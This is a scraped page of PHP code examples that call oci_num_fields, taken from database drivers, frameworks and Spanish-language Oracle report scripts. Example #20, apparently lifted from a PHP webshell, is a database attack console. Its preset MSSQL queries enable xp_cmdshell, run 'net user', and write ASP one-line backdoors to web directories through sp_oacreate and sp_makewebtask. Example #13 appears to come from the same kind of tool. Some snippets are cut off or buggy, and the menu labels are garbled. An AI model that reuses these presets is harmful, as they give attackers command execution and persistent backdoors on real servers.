Пример #1
2
 /**
 	Execute an SQL query.
 
 	@param	$sQueryString	The query string
 	@return	weeDatabaseDummyResult	Only with SELECT queries: an object for results handling
 */
 protected function doQuery($sQueryString)
 {
     $rStatement = oci_parse($this->rLink, $sQueryString);
     $rStatement !== false or burn('DatabaseException', sprintf(_WT("Failed to parse the query with the following error:\n%s"), array_value(oci_error($this->rLink), 'message')));
     // oci_execute triggers a warning when the statement could not be executed.
     @oci_execute($rStatement, OCI_DEFAULT) or burn('DatabaseException', sprintf(_WT("Failed to execute the query with the following error:\n%s"), array_value(oci_error($rStatement), 'message')));
     $this->iNumAffectedRows = oci_num_rows($rStatement);
     if (oci_num_fields($rStatement) > 0) {
         // TODO: Check whether the silence operator is really required here.
         @oci_fetch_all($rStatement, $aRows, 0, -1, OCI_ASSOC | OCI_FETCHSTATEMENT_BY_ROW);
         return new weeDatabaseDummyResult($aRows);
     }
 }
Пример #2
1
 public function o_fetch_all($query, $action, $params = array(), $f_mode)
 {
     $result = array();
     $this->execute($query, $action, $params);
     $result["count"] = oci_num_fields($this->stid);
     oci_fetch_all($this->stid, $res, 0, -1, $f_mode);
     $result["data"] = $res;
     $this->stid = null;
     return $result;
 }
Пример #3
0
function cargarArray($FUPE_CD_PROMOTOR, $FUPE_FE_ESTADO_DESDE, $FUPE_FE_ESTADO_HASTA, $queries)
{
    include dirname(__FILE__) . '/conectar_ORACLE.php';
    //echo $queries.";<br /><br />";
    $array = array();
    $query = oci_parse($c, $queries);
    oci_execute($query);
    $error = 0;
    $ncols = oci_num_fields($query);
    $cont = 0;
    $j = 0;
    $k = 0;
    while ($row = oci_fetch_array($query, OCI_BOTH + OCI_RETURN_NULLS)) {
        while ($cont < $ncols) {
            $array[$j][$cont] = $row[$cont];
            $cont++;
        }
        $cont = 0;
        $k = 0;
        $j++;
    }
    if (oci_num_rows($query) == 0) {
        return false;
    } else {
        return $array;
    }
}
Пример #4
0
function cargarArray($sentencia)
{
    include dirname(__FILE__) . '/conectar_ORACLE.php';
    $array = array();
    $sentenciaExec = oci_parse($c, $sentencia);
    oci_execute($sentenciaExec);
    $error = 0;
    $k = 0;
    $ncols = oci_num_fields($sentenciaExec);
    for ($i = 1; $i <= $ncols; ++$i) {
        $colname = oci_field_name($sentenciaExec, $i);
        $array[0][$k] = $colname;
        $k++;
    }
    $cont = 0;
    $j = 1;
    $k = 0;
    while ($row = oci_fetch_array($sentenciaExec, OCI_BOTH + OCI_RETURN_NULLS)) {
        while ($cont < $ncols) {
            $array[$j][$cont] = $row[$cont];
            $cont++;
        }
        $cont = 0;
        $k = 0;
        $j++;
    }
    if (oci_num_rows($sentenciaExec) == 0) {
        oci_free_statement($sentenciaExec);
        return false;
    } else {
        oci_free_statement($sentenciaExec);
        return $array;
    }
}
 function GetData($_start, $_count = 999999)
 {
     $_tpl_select_command = "SELECT {fields} FROM ( SELECT a.*, rownum rnum FROM ({SelectCommand}) a WHERE rownum <= " . ($_start + $_count) . " ) WHERE rnum >= " . $_start . " {where} {orderby} {groupby}";
     //Fields
     $_fields = "";
     $_fld_array = array();
     $_st_id = oci_parse($this->_Link, $this->SelectCommand);
     if ($_st_id) {
         oci_execute($_st_id);
         $_num_fields = oci_num_fields($_st_id);
         for ($i = 1; $i <= $_num_fields; $i++) {
             array_push($_fld_array, '"' . oci_field_name($_st_id, $i) . '"');
         }
     }
     for ($i = 0; $i < sizeof($_fld_array); $i++) {
         $_fields .= ", " . $_fld_array[$i];
     }
     if ($_fields != "") {
         $_fields = substr($_fields, 2);
     }
     //Filters
     $_where = "";
     $_filters = $this->Filters;
     for ($i = 0; $i < sizeof($_filters); $i++) {
         $_where .= " and " . $this->GetFilterExpression($_filters[$i]);
     }
     //Order
     $_orderby = "";
     $_orders = $this->Sorts;
     for ($i = 0; $i < sizeof($_orders); $i++) {
         $_orderby .= ", " . $_orders[$i]->Field . " " . $_orders[$i]->Order;
     }
     if ($_orderby != "") {
         $_orderby = "ORDER BY " . substr($_orderby, 2);
     }
     //Group
     $_groupby = "";
     $_groups = $this->Groups;
     for ($i = 0; $i < sizeof($_groups); $i++) {
         $_groupby .= ", " . $_groups[$i]->Field;
     }
     if ($_groupby != "") {
         $_groupby = "GROUP BY " . substr($_groupby, 2);
     }
     $_select_command = str_replace("{fields}", $_fields, $_tpl_select_command);
     $_select_command = str_replace("{SelectCommand}", $this->SelectCommand, $_select_command);
     $_select_command = str_replace("{where}", $_where, $_select_command);
     $_select_command = str_replace("{orderby}", $_orderby, $_select_command);
     $_select_command = str_replace("{groupby}", $_groupby, $_select_command);
     $_rows = array();
     $_st_id = oci_parse($this->_Link, $_select_command);
     if ($_st_id) {
         oci_execute($_st_id);
         while ($_row = oci_fetch_array($_st_id, OCI_ASSOC + OCI_RETURN_NULLS)) {
             array_push($_rows, $_row);
         }
     }
     return $_rows;
 }
 /**
  * Number of fields in the result set
  *
  * @access  public
  * @return  integer
  */
 public function num_fields()
 {
     $count = @oci_num_fields($this->stmt_id);
     // if we used a limit we subtract it
     if ($this->limit_used) {
         $count = $count - 1;
     }
     return $count;
 }
Пример #7
0
 public function getResultFields()
 {
     if (empty($this->resultFields)) {
         $numFields = oci_num_fields($this->resource);
         for ($i = 0; $i < $numFields; $i++) {
             $this->resultFields[$i] = array("name" => oci_field_name($this->resource, $i + 1), "type" => oci_field_type($this->resource, $i + 1));
         }
     }
     return $this->resultFields;
 }
Пример #8
0
 /**
  * @param Statement $statement
  */
 public function __construct(Statement $statement)
 {
     $this->statement = $statement;
     $this->statement->execute(Executor::NO_COMMIT);
     // no reason to auto-commit after SELECT statements
     // set attributes
     $this->numFields = oci_num_fields($this->statement->getResource());
     $this->setColumnNames();
     $this->setColumnTypes();
 }
Пример #9
0
 public static function oci_num_fields($connection, $statement)
 {
     self::checkOCIExtension('oci_num_fields');
     $columnCount = @oci_num_fields($statement);
     if ($columnCount === FALSE) {
         $error = oci_error($connection);
         throw new IllegalStateException(t('Could not retrieve the number of result columns in a statement: @error', array('@error' => t($error['message']))));
     }
     return $columnCount;
 }
Пример #10
0
 function paginate($start, $limit)
 {
     // Extract the fields being selected (swiped from PEAR::DB)
     $sql = "SELECT * FROM ({$this->sql}) WHERE 1=1";
     $stmt = new lmbOciStatement($this->connection, $sql);
     $queryId = $this->connection->executeStatement($stmt->getStatement());
     $ncols = oci_num_fields($queryId);
     $cols = array();
     for ($i = 1; $i <= $ncols; $i++) {
         $cols[] = '"' . oci_field_name($queryId, $i) . '"';
     }
     $fields = implode(',', $cols);
     // Build the paginated query...
     $sql = "SELECT {$fields} FROM" . "  (SELECT rownum as linenum, {$fields} FROM" . "      ({$this->sql})" . '  WHERE rownum <= ' . ($start + $limit) . ') WHERE linenum >= ' . ++$start;
     $this->sql = $sql;
 }
Пример #11
0
 /**
  * Returns an array of fields according to columns in the result.
  *
  * @return \Bitrix\Main\Entity\ScalarField[]
  */
 public function getFields()
 {
     if ($this->resultFields == null) {
         $this->resultFields = array();
         if (is_resource($this->resource)) {
             $numFields = oci_num_fields($this->resource);
             if ($numFields > 0 && $this->connection) {
                 $helper = $this->connection->getSqlHelper();
                 for ($i = 1; $i <= $numFields; $i++) {
                     $name = oci_field_name($this->resource, $i);
                     $type = oci_field_type($this->resource, $i);
                     $parameters = array("precision" => oci_field_precision($this->resource, $i), "scale" => oci_field_scale($this->resource, $i), "size" => oci_field_size($this->resource, $i));
                     $this->resultFields[$name] = $helper->getFieldByColumnType($name, $type, $parameters);
                 }
             }
         }
     }
     return $this->resultFields;
 }
Пример #12
0
             echo "<td>" . $row[$NUM_COL] . "</td>";
         }
         $NUM_COL++;
     }
     echo "<td><a href='inicio_vermas.php?ESTADO={$NUM_HREF}'>Ver más</a></td>";
     echo "</tr>";
     $NUM_COL = 0;
     $NUM_HREF++;
 }
 echo "</table>\n";
 echo "</div>";
 oci_free_statement($Duplicados1);
 echo "<div class='sixteen columns'>";
 echo "<h3>Procesos Automaticos</h3>";
 echo "<table class='standard-table'>";
 $ncols = oci_num_fields($Controles1);
 echo "<tr>\n";
 for ($i = 1; $i <= $ncols; ++$i) {
     $colname = oci_field_name($Controles1, $i);
     echo "  <th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n";
 }
 echo "</tr>\n";
 while ($row = oci_fetch_array($Controles1, OCI_BOTH + OCI_RETURN_NULLS)) {
     //Genero las columnas dinamicamente
     echo "<tr>";
     while ($NUM_COL < $ncols) {
         if ($NUM_COL == 1) {
             if ($row[$NUM_COL] == 0) {
                 echo "<td class=\"vacio\">" . $row[$NUM_COL] . "</td>";
             } else {
                 echo "<td class=\"lleno\">" . $row[$NUM_COL] . "</td>";
function querY($type, $host, $user, $pass, $db = '', $query)
{
    $res = '';
    switch ($type) {
        case 'MySQL':
            if (!function_exists('mysql_connect')) {
                return 0;
            }
            $link = mysql_connect($host, $user, $pass);
            if ($link) {
                if (!empty($db)) {
                    mysql_select_db($db, $link);
                }
                $result = mysql_query($query, $link);
                while ($data = mysql_fetch_row($result)) {
                    $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
                }
                $res .= '[+][+][+]';
                for ($i = 0; $i < mysql_num_fields($result); $i++) {
                    $res .= mysql_field_name($result, $i) . '[-][-][-]';
                }
                mysql_close($link);
                return $res;
            }
            break;
        case 'MSSQL':
            if (!function_exists('mssql_connect')) {
                return 0;
            }
            $link = mssql_connect($host, $user, $pass);
            if ($link) {
                if (!empty($db)) {
                    mssql_select_db($db, $link);
                }
                $result = mssql_query($query, $link);
                while ($data = mssql_fetch_row($result)) {
                    $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
                }
                $res .= '[+][+][+]';
                for ($i = 0; $i < mssql_num_fields($result); $i++) {
                    $res .= mssql_field_name($result, $i) . '[-][-][-]';
                }
                mssql_close($link);
                return $res;
            }
            break;
        case 'Oracle':
            if (!function_exists('ocilogon')) {
                return 0;
            }
            $link = ocilogon($user, $pass, $db);
            if ($link) {
                $stm = ociparse($link, $query);
                ociexecute($stm, OCI_DEFAULT);
                while ($data = ocifetchinto($stm, $data, OCI_ASSOC + OCI_RETURN_NULLS)) {
                    $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
                }
                $res .= '[+][+][+]';
                for ($i = 0; $i < oci_num_fields($stm); $i++) {
                    $res .= oci_field_name($stm, $i) . '[-][-][-]';
                }
                return $res;
            }
            break;
        case 'PostgreSQL':
            if (!function_exists('pg_connect')) {
                return 0;
            }
            $link = pg_connect("host={$host} dbname={$db} user={$user} password={$pass}");
            if ($link) {
                $result = pg_query($link, $query);
                while ($data = pg_fetch_row($result)) {
                    $res .= implode('|-|-|-|-|-|', $data) . '|+|+|+|+|+|';
                }
                $res .= '[+][+][+]';
                for ($i = 0; $i < pg_num_fields($result); $i++) {
                    $res .= pg_field_name($result, $i) . '[-][-][-]';
                }
                pg_close($link);
                return $res;
            }
            break;
    }
    return 0;
}
 /**
  * {@inheritdoc}
  */
 public function columnCount()
 {
     return oci_num_fields($this->_sth);
 }
Пример #15
0
include dirname(__FILE__) . "/header.php";
include dirname(__FILE__) . '/conectar_ORACLE.php';
$FE_ESTADO_DESDE = $_REQUEST["FE_ESTADO_DESDE"];
$FE_ESTADO_HASTA = $_REQUEST["FE_ESTADO_HASTA"];
if (!empty($FE_ESTADO_DESDE) && !empty($FE_ESTADO_HASTA)) {
    include dirname(__FILE__) . "/queries/query_controlTK.php";
    $query1 = oci_parse($c, $query);
    oci_execute($query1);
    echo "<input type=\"hidden\" value=\"{$FE_ESTADO_DESDE}\" id=\"FE_ESTADO_DESDE\" />\n<input type=\"hidden\" value=\"{$FE_ESTADO_HASTA}\" id=\"FE_ESTADO_HASTA\" />\n<div class='container'>\n\t<div class='sixteen columns'>\n\t\t<div id='page-title'>\n\t\t\t<h2>Control TeleMarketing</h2>\n\t\t\t<div id='bolded-line'></div>\n\t\t</div>\n\t</div>\n</div>\n<div class='container'>\n\t<div class='sixteen columns'>\n\t\t<div class='field'>\n\t\t\t<input type=\"button\" id=\"boton_descargar_control\" onclick=\"controlTK()\" value=\"Descargar Planilla de Control TeleMarketing (Excel)\"/>\n\t\t</div>\n\t</div>\n\t<div class='sixteen columns'>\n\t\t\t<h3>Carga entre el {$FE_ESTADO_DESDE} y el {$FE_ESTADO_HASTA}</h3>\n\t</div>\n</div>\n<div class='container'>";
    $NUM_COL = 0;
    $NUM_HREF = 0;
    echo "<div class='sixteen columns'>";
    echo "<h3><a href=\"controlTK.php\">Volver Atrás</a></h3>";
    echo "<table class='standard-table'>";
    $ncols = oci_num_fields($query1);
    echo "<tr>\n";
    for ($i = 1; $i <= $ncols; ++$i) {
        $colname = oci_field_name($query1, $i);
        echo "  <th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n";
    }
    echo "<th><b>Ver más</b></th>";
    echo "</tr>\n";
    while ($row = oci_fetch_array($query1, OCI_BOTH + OCI_RETURN_NULLS)) {
        //Genero las columnas dinamicamente
        echo "<tr>";
        while ($NUM_COL < $ncols) {
            if ($NUM_COL == 0) {
                $FLAG = $row[$NUM_COL];
                if (substr($FLAG, 0, 3) == 'Con' || substr($FLAG, 0, 3) == 'Sin') {
                    echo "<td><span class=\"control\">" . $row[$NUM_COL] . "</span></td>";
Пример #16
0
 /**
  * Returns metadata for all columns in a result set.
  * @return array
  */
 public function getResultColumns()
 {
     $count = oci_num_fields($this->resultSet);
     $columns = array();
     for ($i = 1; $i <= $count; $i++) {
         $columns[] = array('name' => oci_field_name($this->resultSet, $i), 'table' => NULL, 'fullname' => oci_field_name($this->resultSet, $i), 'nativetype' => oci_field_type($this->resultSet, $i));
     }
     return $columns;
 }
Пример #17
0
 /**
  * Column count
  *
  * @return int column count or zero if not executed
  */
 public function columnCount()
 {
     if (!$this->_stmt) {
         return 0;
     }
     try {
         return \oci_num_fields($this->_stmt);
     } catch (\Exception $e) {
         throw new \PDOException($e->getMessage());
     }
     return 0;
 }
Пример #18
0
 /**
  * Returns metadata for all columns in a result set.
  * @return array
  */
 public function getResultColumns()
 {
     $count = oci_num_fields($this->resultSet);
     $columns = [];
     for ($i = 1; $i <= $count; $i++) {
         $type = oci_field_type($this->resultSet, $i);
         $columns[] = ['name' => oci_field_name($this->resultSet, $i), 'table' => NULL, 'fullname' => oci_field_name($this->resultSet, $i), 'nativetype' => $type === 'NUMBER' && oci_field_scale($this->resultSet, $i) === 0 ? 'INTEGER' : $type];
     }
     return $columns;
 }
 function sql_num_fields($sqltype, $result)
 {
     if ($sqltype == 'mysql') {
         if (class_exists('mysqli_result')) {
             return $result->field_count;
         } elseif (function_exists('mysql_num_fields')) {
             return mysql_num_fields($result);
         }
     } elseif ($sqltype == 'mssql') {
         if (function_exists('sqlsrv_num_fields')) {
             return sqlsrv_num_fields($result);
         } elseif (function_exists('mssql_num_fields')) {
             return mssql_num_fields($result);
         }
     } elseif ($sqltype == 'pgsql') {
         return pg_num_fields($result);
     } elseif ($sqltype == 'oracle') {
         return oci_num_fields($result);
     } elseif ($sqltype == 'sqlite3') {
         return $result->numColumns();
     } elseif ($sqltype == 'sqlite') {
         return sqlite_num_fields($result);
     } elseif ($sqltype == 'odbc') {
         return odbc_num_fields($result);
     } elseif ($sqltype == 'pdo') {
         return $result->columnCount();
     }
 }
Пример #20
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
Пример #21
0
<?php
